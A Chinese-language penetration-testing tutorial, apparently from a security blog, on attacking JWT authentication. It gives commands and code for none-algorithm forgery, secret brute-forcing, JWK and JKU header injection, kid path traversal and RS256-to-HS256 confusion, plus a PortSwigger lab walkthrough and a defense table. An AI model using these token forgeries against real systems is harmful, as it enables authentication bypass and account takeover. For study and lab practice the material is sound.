1|【教程】JWT漏洞攻击实战:从None算法到密钥爆破与JWK注入(含完整Payload)
2|
3|> 适合读者:有基本Web安全基础,了解HTTP请求和JSON,想系统掌握JWT攻击的渗透测试人员
4|> 前置知识:Base64编码理解、基本HTTP抓包能力
5|
6|---
7|
8|## 一、前置准备
9|
10|### 工具清单
11|
12|| 工具 | 用途 | 安装方式 |
13||------|------|----------|
14|| jwt_tool | JWT综合检测/破解/伪造 | git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool && pip3 install pycryptodomex |
15|| hashcat | 高性能JWT密钥爆破 | apt install hashcat |
16|| Burp Suite + JWT Editor | 图形化JWT修改与重放 | Burp Suite Extender → BApp Store → JWT Editor |
17|| jwt.io | 在线JWT调试 | 浏览器打开 https://jwt.io |
18|| Venom-JWT | 自动化JWT密钥爆破工具 | git clone https://github.com/z-bool/Venom-JWT |
19|
20|### 靶场准备
21|
22|推荐以下靶场(均可本地搭建或在线访问):
23|
24|- PortSwigger JWT Labs:https://portswigger.net/web-security/jwt (最推荐,场景最全)
25|- AuthLab Leaky JWT:https://authlab.digi.ninja/Leaky_JWT
26|- 本地搭建:docker run -d -p 8080:80 websecuritylab/jwt-lab
27|
28|---
29|
30|## 二、JWT基础回顾(30秒速通)
31|
32|JWT = Header(算法声明)+ Payload(数据声明)+ Signature(防篡改)
33|
34|```
35|eyJhbG...VCJ9. ← Header: {"alg":"HS256","typ":"JWT"}
36|eyJzdW...0In0. ← Payload: {"sub":"user","role":"guest"}
37|SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature
38|```
39|
40|> 核心认知:Payload只是Base64编码,不是加密!任何人都可以解码读取——看懂了吗?很多CTF题目里JWT里直接塞密码MD5,一解一个准。
41|
42|---
43|
44|## 三、攻击手法实战(重点)
45|
46|### 🔴 攻击一:None算法攻击(CVE-2015-9235)
47|
48|原理:部分JWT库允许alg:none的特殊处理——不验证签名。开发者如果没禁用"none"算法,攻击者直接把alg改成none,删掉签名部分就行。
49|
50|实操步骤:
51|
52|```bash
53|# 1. 拿到原始JWT后,解码Header
54|echo 'eyJhbG...VCJ9' | base64 -d
55|# → {"alg":"HS256","typ":"JWT"}
56|
57|# 2. 直接改alg为none,修改payload提权
58|# 原始:{"sub":"wiener","role":"user"}
59|# 改为:{"sub":"administrator","role":"admin"}
60|```
61|
62|手动构造攻击JWT:
63|
64|```bash
65|# Header: alg=none
66|header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | sed 's/+/-/g;s/\//_/g;s/=//g')
67|# Payload: 提权admin
68|payload=$(echo -n '{"sub":"administrator","role":"admin"}' | base64 -w0 | sed 's/+/-/g;s/\//_/g;s/=//g')
69|# 拼接即可(不要签名部分)
70|echo "${header}.${payload}."
71|```
72|
73|使用jwt_tool一键完成:
74|
75|```bash
76|python3 jwt_tool.py <JWT> -X a
77|```
78|
79|验证方法:用构造的JWT访问管理接口,如果200响应说明存在此漏洞。
80|
81|---
82|
83|### 🔴 攻击二:密钥暴力破解
84|
85|原理:很多开发用弱密钥签名JWT(常见如secret、123456、test),可暴力破解后伪造任意Token。
86|
87|实操步骤:
88|
89|```bash
90|# 方法1: jwt_tool 字典爆破
91|python3 jwt_tool.py eyJhbG...yIn0.xxx -C -d /usr/share/wordlists/rockyou.txt
92|
93|# 方法2: hashcat(性能更优,支持GPU)
94|hashcat -a 0 -m 16500 eyJhbG...yIn0.xxx /usr/share/wordlists/rockyou.txt
95|
96|# 方法3: Venom-JWT 自动化(推荐,自带常见密钥库)
97|python3 venom-jwt.py -t http://target.com -d common_jwt_secrets.txt
98|```
99|
100|常用弱密钥Top 10(先试这些):
101|
102|```
103|secret, secret123, 123456, 12345678, password
104|admin, jwt_secret, test, demo, changeme
105|```
106|
107|破解后的利用:
108|
109|```python
110|# Python伪造JWT
111|pip3 install pyjwt
112|python3 -c "
113|import jwt
114|token = jwt.encode({'sub':'administrator','role':'admin'}, 'secret', algorithm='HS256')
115|print(token)
116|"
117|```
118|
119|---
120|
121|### 🔴 攻击三:JWK头部注入(关键攻击)
122|
123|原理:服务器接受JWT Header中的jwk字段(嵌入的公钥)。攻击者生成自己的RSA密钥对,把公钥嵌入JWT的jwk字段,用私钥签名——服务器会用你给的公钥验签。
124|
125|实操步骤(Burp Suite + JWT Editor插件):
126|
127|1. 安装JWT Editor:Burp → Extender → BApp Store → 搜索"JWT Editor" → Install
128|2. 生成RSA密钥对:JWT Editor → New RSA Key → 生成2048位密钥
129|3. 修改JWT:Repeater中找到JWT请求 → JWT Editor中修改Payload(如sub改为administrator)
130|4. 嵌入JWK:点击"Attack" → "Embedded JWK" → 选择刚生成的RSA密钥 → OK
131|5. 发送:查看响应,如果成功访问到/admin越权操作,说明漏洞存在
132|
133|手动CURL替代方案(无Burp时):
134|
135|```bash
136|# 1. 生成RSA密钥对
137|openssl genrsa -out private.pem 2048
138|openssl rsa -in private.pem -pubout -out public.pem
139|
140|# 2. 用jwt_tool构造带JWK的JWT
141|python3 jwt_tool.py <JWT> -X i -I -pc sub -pv administrator -pr private.pem
142|
143|# 3. 发送测试
144|curl -H "Authorization: Bearer *** https://target.com/admin
145|```
146|
147|---
148|
149|### 🔴 攻击四:JKU注入
150|
151|原理:服务器从jku头部指定的URL获取JWK公钥。如果攻击者能控制这个URL(比如在自己的服务器上托管恶意JWK),就能实现任意JWT伪造。
152|
153|实操步骤:
154|
155|1. 生成RSA密钥对(同上)
156|
157|2. 在可控服务器上托管恶意JWK(利用exploit服务器/公开gist/云函数等):
158|
159|```json
160|{
161| "keys": [
162| {
163| "kty": "RSA",
164| "kid": "my-key-id",
165| "e": "AQAB",
166| "n": "u1483PJ5Gv..."
167| }
168| ]
169|}
170|```
171|
172|3. 构造攻击JWT:
173|
174|```bash
175|python3 jwt_tool.py <JWT> -X s -ju https://your-server.com/jwk.json -pc sub -pv administrator
176|```
177|
178|4. 发送请求:如果服务器访问了你的JKU URL并从其中提取公钥验签,攻击即成功。
179|
180|---
181|
182|### 🔴 攻击五:kid路径遍历
183|
184|原理:kid(Key ID)用于指定使用哪个密钥验证。如果后端用kid拼接路径查找密钥文件,可以通过../../dev/null路径遍历绕过。
185|
186|实操:
187|
188|```bash
189|# 1. 构造对称密钥key为AA==(空字符串的base64编码)
190|# 2. 修改JWT Header:
191|# {"alg":"HS256","typ":"JWT","kid":"../../../../../../../dev/null"}
192|# 3. 用空字符串签名
193|python3 jwt_tool.py <JWT> -X k -kc "../../../../../../../dev/null" -pc sub -pv administrator
194|```
195|
196|核心思路:利用/dev/null(空文件相当于空密钥)作为对称密钥签名。
197|
198|---
199|
200|### 🔴 攻击六:算法混淆攻击(RS256→HS256)
201|
202|原理:服务器用RS256(非对称)验签,但JWT库的jwt.decode()通用方法支持HS256(对称),且公钥已知。攻击者用公钥作为HMAC密钥签名——服务器会用公钥验签,而公钥就是它自己的。最骚的是公钥通常是公开的(如/jwks.json)。
203|
204|实操步骤:
205|
206|```bash
207|# 1. 获取公钥(通常访问 /jwks.json 或 /.well-known/jwks.json)
208|curl https://target.com/jwks.json
209|
210|# 2. 将公钥转为PEM格式,使用jwt_tool进行算法混淆攻击
211|python3 jwt_tool.py <JWT> -X k -pk public.pem
212|
213|# 3. 如果公钥未公开,可从两个合法JWT推导
214|docker run --rm -it portswigger/sig2n <jwt1> <jwt2>
215|```
216|
217|---
218|
219|## 四、实战靶场通关
220|
221|### 靶场:PortSwigger JWT Lab - 弱密钥爆破
222|
223|```
224|靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
225|```
226|
227|完整通关步骤:
228|
229|```bash
230|# Step 1: 登录wiener:peter,抓取JWT
231|JWT="eyJraW...0N30.xxx"
232|
233|# Step 2: 爆破密钥
234|python3 jwt_tool.py $JWT -C -d /usr/share/wordlists/rockyou.txt
235|
236|# 假设破解出密钥为 secret1
237|
238|# Step 3: 伪造admin JWT
239|python3 -c "
240|import jwt
241|import time
242|payload = {'iss':'portswigger','sub':'administrator','exp':int(time.time())+3600}
243|print(jwt.encode(payload, 'secret1', algorithm='HS256'))
244|"
245|
246|# Step 4: 发送请求删除用户carlos
247|curl -X DELETE -H "Authorization: Bearer *** https://靶场URL/admin/delete?username=carlos
248|```
249|
250|---
251|
252|## 五、防御建议
253|
254|| 攻击方式 | 防御措施 |
255||----------|----------|
256|| None算法 | 禁用alg:none,使用白名单算法列表 |
257|| 弱密钥 | 使用256位以上随机密钥,定期轮换 |
258|| JWK注入 | 禁用jwk头部,仅从信任源获取公钥 |
259|| JKU注入 | 验证jku域名白名单 |
260|| kid路径遍历 | 对kid做路径校验,禁止../和/dev/null |
261|| 算法混淆 | 校验算法严格匹配预期算法 |
262|| 敏感信息泄露 | 不要在Payload中放敏感数据 |
263|| 密钥硬编码 | 密钥从环境变量读取,别写死在代码里 |
264|
265|> 一句话总结:JWT的安全不取决于算法强度,而取决于你禁用了哪些不该存在的东西。
266|
267|---
268|
269|## 六、注意事项
270|
271|1. 测试前确认授权:JWT攻击会导致越权,在非授权目标上测试是违法行为
272|2. jwt_tool的-C参数需安装pycryptodomex:pip3 install pycryptodomex
273|3. hashcat的-m 16500是JWT专用模式:别搞错hash-mode
274|4. base64 URL-safe编码:JWT使用的Base64是URL-safe版本(+→-,/→_,去掉=)
275|5. JWK的n和e字段:n是模数,e是指数,从PEM公钥提取。jwt_tool的'-X i'参数自动处理
276|
277|---
278|
279|本文首发于 PingSec 安全博客,转载请保留出处。
280|